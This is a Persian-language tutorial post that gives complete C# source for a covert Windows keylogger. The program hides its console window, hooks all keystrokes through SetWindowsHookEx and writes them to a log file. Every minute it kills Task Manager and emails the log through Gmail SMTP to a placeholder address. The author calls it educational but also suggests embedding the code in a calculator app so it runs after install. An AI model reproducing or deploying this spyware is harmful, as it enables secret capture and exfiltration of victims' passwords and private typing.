سلام دوستان
تو این پست میخام برنامه کاربردی رو بهتون اموزش بدم که همه کلید های زده شده کیبورد رو برامون بگیره و بعد بصورت ایمیل ارسال کنه
البته این پست جنبه اموزشی داره تا سطح علمی شما بالاتر بره سعی کنید در کارهای مخرب استفاده نکنید بهرحال کدهای مربوط به قرار گرفتن برنامه در استارت اپ رو ننوشتم --البته تو نت هست
من این برنامه رو توی محیط کنسول نوشتم یعنی میشد توی محیط فرم هم بنویسی مثلا این کدها رو تو حالت اکتیو یه برنامه
ماشین حساب بذاری بعد از نصب دیگه همیشه اجرا بشه
اینا برای اجرا نیاز به دسترسی ادمین داشتن اما این کدها در کنسول بدون نیاز به دسترسی ادمین اجرا میشن
در این پروژه از کلاس یا فضای نام زیر استفاده کردم
using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Net; using System.Net.Mail;
بقیه کلاس ها پیشفرض در پروژه قرار دارن
در این پروژه از توابع API نیز استفاده کردم
ابتدا متدهای لازم رو میسازیم متغییر intptr تفاوتش با int در کدها ی مدیت نشده است
کدهای سی شارپ پیش فرض کدهای مدیریت شده هستند یعنی به زبان میانی IL ترجمه میشن نه زبان ماشین بخاطر همین نمیتونه بصورت مستقیم روی سیستم اجرا بشه پس به msil ترجمه در چارچوب دات نت اجرا میشن به همین خاطر تمامی ویندوزها برای اجرای برنامه ها با ید دارای دات نت باشند البته برنامه های نوشته شده با سی و سی پلاس از این قاعده مستثنی هستند
اما کدهای مدیریت نشده مستقیا در حافظه سیستم لود شده و اجرا میشن مثل همین API -- و کدهای سی پلاس
حال نوبت به نوشتن توابع API هستش
[DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
حال نیاز دو متغییر ثابت برای مخفی شدن پنجره پس از اجرا داریم
const int SW_HIDE = 0; const int SW_SHOW = 5;
طریقه ارسال ایمیل را در پست قبـــــلی شرح دادم اما با یک تفاوت در اینجا بجای متن پیام کلید های فشرده شده رو به ایمیل گیرنده میفرستیم
public static void smail(object source, EventArgs e) { Process[] ProcessList = Process.GetProcesses(); foreach (Process proc in ProcessList) { if (proc.MainWindowTitle.Contains("Taskmgr.exe")) { proc.Kill(); } } MailMessage message = new MailMessage(); message.To.Add("recivermail@gmail.com"); message.Subject = "subject"; string newfil = File.ReadAllText(@"g:\log.txt"); message.Body = newfil; message.From = new MailAddress("sendermaim@gmail.com", "Dave on C-Sharp"); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.EnableSsl = true; smtp.UseDefaultCredentials = false; smtp.Credentials = new NetworkCredential("sendermaim@gmail.com", "پسورد ایمیل"); smtp.Send(message); }
حال نوبت به تبدیل کلید های فشرده شد و خیره انهاست
private static IntPtr HookCallBack(int nCode,IntPtr wParam,IntPtr lParam) { // // Thread.Sleep(5); if (nCode >=0 && wParam ==(IntPtr)WM_KEYDOWN) { int vCode = Marshal.ReadInt32(lParam); if (((Keys)vCode).ToString()=="OemPeriod")//تبدیل کاراکتر های اسکی به اصلی
{ Console.Out.Write("."); StreamWriter sW = new StreamWriter(@"d:\\log.txt", true); sW.Write("."); sW.Close(); sW.Dispose(); } //*********************************************** else if (((Keys)vCode).ToString() == "Return")//تبدیل کاراکتر های اسکی به اصلی
{ Console.Out.Write("Enter"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("Enter"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Add")//تبدیل کاراکتر های اسکی به اصلی { Console.Out.Write("+"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("+"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "OemQuestion") { Console.Out.Write("/"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("/"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Subtract") { Console.Out.Write("-"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("-"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Multiply") { Console.Out.Write("*"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("*"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Divide") { Console.Out.Write("/"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("/"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "LControlKey") { Console.Out.Write("CtrlA"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("CtrlA"); sW.Close(); sW.Dispose(); } //*************************************************************** else if (((Keys)vCode).ToString() == "Oemcomma") { Console.Out.Write(","); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write(","); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Space") { Console.Out.Write(" "); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write(" "); sW.Close(); sW.Dispose(); } else { Console.Out.Write((Keys)vCode); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write((Keys)vCode); sW.Close(); sW.Dispose(); } } return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); }
در نهایت یک تابعی برای API را برای در دریافت کلید های فشرده شده و ذخیره شده و نگهداری انها در سیستم مینویسیم
private static IntPtr SetHook(LowLevelKeyboardProd proc) { Process currnt = Process.GetCurrentProcess(); ProcessModule currentModule = currnt.MainModule; string moduleName = currentModule.ModuleName; IntPtr modulehandle = GetModuleHandle(moduleName); return SetWindowsHookEx(WH_KEYBOARD_DLL, llkProcedure, modulehandle, 0); } [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr hhk,int nCode,IntPtr wParam,IntPtr lParam); [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProd lpfn,IntPtr hMod,uint dwThreadID); [DllImport("user32.dll")] private static extern bool UnHookWindowsHookExe(IntPtr hhk); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(String lpModuleName);
حال توابع نوشته شده را به همراه یک تایمر در تابع اصلی قرار میدم
static void Main(string[] args) { var my = GetConsoleWindow(); ShowWindow(my,SW_HIDE); hook = SetHook(llkProcedure); System.Timers.Timer timer; timer = new System.Timers.Timer(); timer.Elapsed += new ElapsedEventHandler(Program.smail); timer.AutoReset = true; timer.Interval = 60000;//هر یک دقیقه یکبار پیام میفرستد timer.Start(); Application.Run(); GC.KeepAlive(timer); UnHookWindowsHookExe(hook); }
using System; using System.Collections.Generic; using System.Windows.Forms; using System.Timers; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Net; using System.Net.Mail; namespace System_log { class Program { private static int WH_KEYBOARD_DLL = 13; private static int WM_KEYDOWN = 0x0100; private static IntPtr hook = IntPtr.Zero; private static LowLevelKeyboardProd llkProcedure = HookCallBack; [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); const int SW_HIDE = 0; const int SW_SHOW = 5; static void Main(string[] args) { var my = GetConsoleWindow(); ShowWindow(my,SW_HIDE); hook = SetHook(llkProcedure); System.Timers.Timer timer; timer = new System.Timers.Timer(); timer.Elapsed += new ElapsedEventHandler(Program.smail); timer.AutoReset = true; timer.Interval = 60000; timer.Start(); Application.Run(); GC.KeepAlive(timer); UnHookWindowsHookExe(hook); } public static void smail(object source, EventArgs e) { Process[] ProcessList = Process.GetProcesses(); foreach (Process proc in ProcessList) { if (proc.MainWindowTitle.Contains("Taskmgr.exe")) { proc.Kill(); } } MailMessage message = new MailMessage(); message.To.Add("recivermail@gmail.com"); message.Subject = "subject"; string newfil = File.ReadAllText(@"g:\log.txt"); message.Body = newfil; message.From = new MailAddress("sendermaim@gmail.com", "Dave on C-Sharp"); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.EnableSsl = true; smtp.UseDefaultCredentials = false; smtp.Credentials = new NetworkCredential("sendermaim@gmail.com", "ddddd"); smtp.Send(message); } private delegate IntPtr LowLevelKeyboardProd(int nCode, IntPtr wParam, IntPtr lParam); private static IntPtr HookCallBack(int nCode,IntPtr wParam,IntPtr lParam) { // // Thread.Sleep(5); if (nCode >=0 && wParam ==(IntPtr)WM_KEYDOWN) { int vCode = Marshal.ReadInt32(lParam); if (((Keys)vCode).ToString()=="OemPeriod") { Console.Out.Write("."); StreamWriter sW = new StreamWriter(@"d:\\log.txt", true); sW.Write("."); sW.Close(); sW.Dispose(); } //*********************************************** else if (((Keys)vCode).ToString() == "Return") { Console.Out.Write("Enter"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("Enter"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Add") { Console.Out.Write("+"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("+"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "OemQuestion") { Console.Out.Write("/"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("/"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Subtract") { Console.Out.Write("-"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("-"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Multiply") { Console.Out.Write("*"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("*"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Divide") { Console.Out.Write("/"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("/"); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "LControlKey") { Console.Out.Write("CtrlA"); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write("CtrlA"); sW.Close(); sW.Dispose(); } //*************************************************************** else if (((Keys)vCode).ToString() == "Oemcomma") { Console.Out.Write(","); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write(","); sW.Close(); sW.Dispose(); } else if (((Keys)vCode).ToString() == "Space") { Console.Out.Write(" "); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write(" "); sW.Close(); sW.Dispose(); } else { Console.Out.Write((Keys)vCode); StreamWriter sW = new StreamWriter(@"g:\\log.txt", true); sW.Write((Keys)vCode); sW.Close(); sW.Dispose(); } } return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); } private static IntPtr SetHook(LowLevelKeyboardProd proc) { Process currnt = Process.GetCurrentProcess(); ProcessModule currentModule = currnt.MainModule; string moduleName = currentModule.ModuleName; IntPtr modulehandle = GetModuleHandle(moduleName); return SetWindowsHookEx(WH_KEYBOARD_DLL, llkProcedure, modulehandle, 0); } [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr hhk,int nCode,IntPtr wParam,IntPtr lParam); [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProd lpfn,IntPtr hMod,uint dwThreadID); [DllImport("user32.dll")] private static extern bool UnHookWindowsHookExe(IntPtr hhk); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(String lpModuleName); } }